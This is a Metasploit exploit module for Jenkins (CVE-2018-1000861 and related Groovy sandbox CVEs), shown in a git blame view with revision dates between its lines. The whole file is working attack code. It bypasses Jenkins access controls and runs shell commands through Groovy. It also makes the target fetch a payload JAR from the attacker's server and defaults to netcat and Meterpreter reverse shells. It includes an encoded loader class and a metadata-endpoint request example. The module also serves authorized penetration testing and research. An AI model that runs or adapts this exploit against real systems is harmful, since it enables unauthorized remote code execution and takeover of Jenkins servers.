Files
metasploit-gs/modules/exploits/multi/http/jenkins_metaprogramming.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

325 lines
9.6 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
2019-03-16 00:38:48 -05:00
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(update_info(info,
2019-05-22 11:49:26 -05:00
'Name' => 'Jenkins ACL Bypass and Metaprogramming RCE',
'Description' => %q{
This module exploits a vulnerability in Jenkins dynamic routing to
bypass the Overall/Read ACL and leverage Groovy metaprogramming to
download and execute a malicious JAR file.
2019-03-16 00:38:48 -05:00
2019-05-22 11:49:26 -05:00
When the "Java Dropper" target is selected, the original entry point
based on classLoader.parseClass is used, which requires the use of
Groovy metaprogramming to achieve RCE.
When the "Unix In-Memory" target is selected, a newer, higher-level,
and more universal entry point based on GroovyShell.parse is used.
This permits the use of in-memory arbitrary command execution.
2019-03-16 00:38:48 -05:00
The ACL bypass gadget is specific to Jenkins <= 2.137 and will not work
on later versions of Jenkins.
Tested against Jenkins 2.137 and Pipeline: Groovy Plugin 2.61.
},
2019-05-22 11:49:26 -05:00
'Author' => [
'Orange Tsai', # (@orange_8361) Discovery and PoC
'Mikhail Egorov', # (@0ang3el) Discovery and PoC
'George Noseevich', # (@webpentest) Discovery and PoC
'wvu' # Metasploit module
],
2019-05-22 11:49:26 -05:00
'References' => [
['CVE', '2018-1000861'], # Orange Tsai
['CVE', '2019-1003000'], # Script Security
['CVE', '2019-1003001'], # Pipeline: Groovy
['CVE', '2019-1003002'], # Pipeline: Declarative
2019-05-22 11:49:26 -05:00
['CVE', '2019-1003005'], # Mikhail Egorov
['CVE', '2019-1003029'], # George Noseevich
['EDB', '46427'],
['URL', 'https://jenkins.io/security/advisory/2019-01-08/'],
['URL', 'https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html'],
2019-03-16 00:38:48 -05:00
['URL', 'https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html'],
2019-05-22 11:49:26 -05:00
['URL', 'https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc'],
['URL', 'https://twitter.com/orange_8361/status/1126829648552312832'],
['URL', 'https://github.com/orangetw/awesome-jenkins-rce-2019']
],
2019-05-22 11:49:26 -05:00
'DisclosureDate' => '2019-01-08', # Public disclosure
'License' => MSF_LICENSE,
'Platform' => ['unix', 'java'],
'Arch' => [ARCH_CMD, ARCH_JAVA],
'Privileged' => false,
'Targets' => [
['Unix In-Memory',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
2021-02-17 12:33:59 +00:00
'Version' => Rex::Version.new('2.137'),
2019-05-22 11:49:26 -05:00
'Type' => :unix_memory,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat'}
],
['Java Dropper',
'Platform' => 'java',
'Arch' => ARCH_JAVA,
2021-02-17 12:33:59 +00:00
'Version' => Rex::Version.new('2.137'),
2019-05-22 11:49:26 -05:00
'Type' => :java_dropper,
'DefaultOptions' => {'PAYLOAD' => 'java/meterpreter/reverse_https'}
2019-03-16 00:38:48 -05:00
]
],
2019-05-22 11:49:26 -05:00
'DefaultTarget' => 1,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
},
2019-05-22 11:49:26 -05:00
'Stance' => Stance::Aggressive
))
register_options([
2019-03-16 00:38:48 -05:00
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'Base path to Jenkins', '/'])
])
deregister_options('URIPATH')
end
2019-03-16 00:38:48 -05:00
=begin
http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword]
=end
def check
checkcode = CheckCode::Safe
2019-03-16 00:38:48 -05:00
res = send_request_cgi(
'method' => 'GET',
'uri' => go_go_gadget1('/search/index'),
'vars_get' => {'q' => 'a'}
)
unless res && (version = res.headers['X-Jenkins'])
vprint_error('Jenkins version not detected')
2019-03-16 00:38:48 -05:00
return CheckCode::Unknown
end
2019-03-16 00:38:48 -05:00
vprint_status("Jenkins #{version} detected")
checkcode = CheckCode::Detected
2021-02-17 12:33:59 +00:00
if Rex::Version.new(version) > target['Version']
2019-03-16 00:38:48 -05:00
vprint_error("Jenkins #{version} is not a supported target")
return CheckCode::Safe
end
vprint_good("Jenkins #{version} is a supported target")
checkcode = CheckCode::Appears
if res.body.include?('Administrator')
vprint_good('ACL bypass successful')
checkcode = CheckCode::Vulnerable
else
vprint_error('ACL bypass unsuccessful')
return CheckCode::Safe
end
checkcode
end
def exploit
2019-05-22 11:49:56 -05:00
print_status("Configuring #{target.name} target")
vars_get = {'value' => go_go_gadget2}
case target['Type']
when :unix_memory
vars_get = {'sandbox' => true}.merge(vars_get)
when :java_dropper
# NOTE: Ivy is using HTTP unconditionally, so we can't use HTTPS
# HACK: Both HttpClient and HttpServer use datastore['SSL']
ssl = datastore['SSL']
datastore['SSL'] = false
start_service('Path' => '/')
datastore['SSL'] = ssl
end
2019-03-16 00:38:48 -05:00
print_status('Sending Jenkins and Groovy go-go-gadgets')
send_request_cgi(
'method' => 'GET',
'uri' => go_go_gadget1,
2019-05-22 11:49:56 -05:00
'vars_get' => vars_get
)
end
2019-03-16 00:38:48 -05:00
#
# Exploit methods
#
=begin
http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword
?apiUrl=http://169.254.169.254/%23
&login=orange
&password=tsai
=end
2019-03-16 00:38:48 -05:00
def go_go_gadget1(custom_uri = nil)
# NOTE: See CVE-2018-1000408 for why we don't want to randomize the username
2019-05-30 00:06:10 -05:00
acl_bypass = normalize_uri(target_uri.path, '/securityRealm/user/admin')
2019-03-16 00:38:48 -05:00
return normalize_uri(acl_bypass, custom_uri) if custom_uri
2019-05-22 11:50:09 -05:00
rce_base = normalize_uri(acl_bypass, 'descriptorByName')
rce_uri =
case target['Type']
when :unix_memory
2019-05-30 00:06:10 -05:00
'/org.jenkinsci.plugins.' \
2019-05-22 11:50:09 -05:00
'scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript'
when :java_dropper
2019-05-30 00:06:10 -05:00
'/org.jenkinsci.plugins.' \
2019-05-22 11:50:09 -05:00
'workflow.cps.CpsFlowDefinition/checkScriptCompile'
end
normalize_uri(rce_base, rce_uri)
end
=begin
http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a
@Grab(group='tw.orange', module='poc', version='1')%0a
import Orange;
=end
def go_go_gadget2
2019-05-22 11:50:21 -05:00
case target['Type']
when :unix_memory
payload_escaped = payload.encoded.gsub("'", "\\'")
2020-04-07 23:56:19 -05:00
<<~EOF.strip
class #{app} {
#{app}() {
['sh', '-c', '#{payload_escaped}'].execute()
2019-05-22 11:50:21 -05:00
}
2020-04-07 23:56:19 -05:00
}
EOF
2019-05-22 11:50:21 -05:00
when :java_dropper
2020-04-07 23:56:19 -05:00
<<~EOF.strip
@GrabConfig(disableChecksums=true)
@GrabResolver('http://#{srvhost_addr}:#{srvport}')
@Grab('#{vendor}:#{app}:#{version}')
import #{app}
EOF
2019-05-22 11:50:21 -05:00
end
end
2019-03-16 00:38:48 -05:00
#
# Payload methods
#
#
# If you deviate from the following sequence, you will suffer!
#
# HEAD /path/to/pom.xml -> 404
# HEAD /path/to/payload.jar -> 200
# GET /path/to/payload.jar -> 200
#
def on_request_uri(cli, request)
vprint_status("#{request.method} #{request.uri} requested")
unless %w[HEAD GET].include?(request.method)
vprint_error("Ignoring #{request.method} request")
return
end
if request.method == 'HEAD'
if request.uri != payload_uri
vprint_error('Sending 404')
return send_not_found(cli)
end
vprint_good('Sending 200')
return send_response(cli, '')
end
if request.uri != payload_uri
vprint_error('Sending bogus file')
return send_response(cli, "#{Faker::Hacker.say_something_smart}\n")
end
vprint_good('Sending payload JAR')
send_response(
cli,
payload_jar,
'Content-Type' => 'application/java-archive'
)
# XXX: $HOME may not work in some cases
register_dir_for_cleanup("$HOME/.groovy/grapes/#{vendor}")
end
def payload_jar
jar = payload.encoded_jar
2020-04-10 02:13:46 -05:00
jar.add_file("#{app}.class", constructor_class)
jar.add_file(
'META-INF/services/org.codehaus.groovy.plugins.Runners',
2019-03-16 00:38:48 -05:00
"#{app}\n"
)
jar.pack
end
2020-04-10 02:13:46 -05:00
=begin javac Metasploit.java
import metasploit.Payload;
2020-04-10 02:13:46 -05:00
public class Metasploit {
public Metasploit(){
try {
Payload.main(null);
} catch (Exception e) { }
}
}
=end
2020-04-10 02:13:46 -05:00
def constructor_class
2019-03-16 00:38:48 -05:00
klass = Rex::Text.decode_base64(
<<~EOF
yv66vgAAADMAFQoABQAMCgANAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAN
U3RhY2tNYXBUYWJsZQcAEAcADwwABgAHBwASDAATABQBABNqYXZhL2xhbmcvRXhjZXB0aW9u
2020-04-10 02:13:46 -05:00
AQAKTWV0YXNwbG9pdAEAEGphdmEvbGFuZy9PYmplY3QBABJtZXRhc3Bsb2l0L1BheWxvYWQB
AARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgAhAAQABQAAAAAAAQABAAYABwABAAgA
AAA3AAEAAgAAAA0qtwABAbgAAqcABEyxAAEABAAIAAsAAwABAAkAAAAQAAL/AAsAAQcACgAB
BwALAAAA
EOF
)
2019-03-16 00:38:48 -05:00
2020-04-10 02:13:46 -05:00
# Replace length-prefixed string "Metasploit" with a random one
klass.sub("\x00\x0aMetasploit", "#{[app.length].pack('n')}#{app}")
2019-03-16 00:38:48 -05:00
end
#
# Utility methods
#
def payload_uri
"/#{vendor}/#{app}/#{version}/#{app}-#{version}.jar"
end
def vendor
@vendor ||= Faker::App.author.split(/[^[:alpha:]]/).join
end
def app
@app ||= Faker::App.name.split(/[^[:alpha:]]/).join
end
def version
@version ||= Faker::App.semantic_version
end
end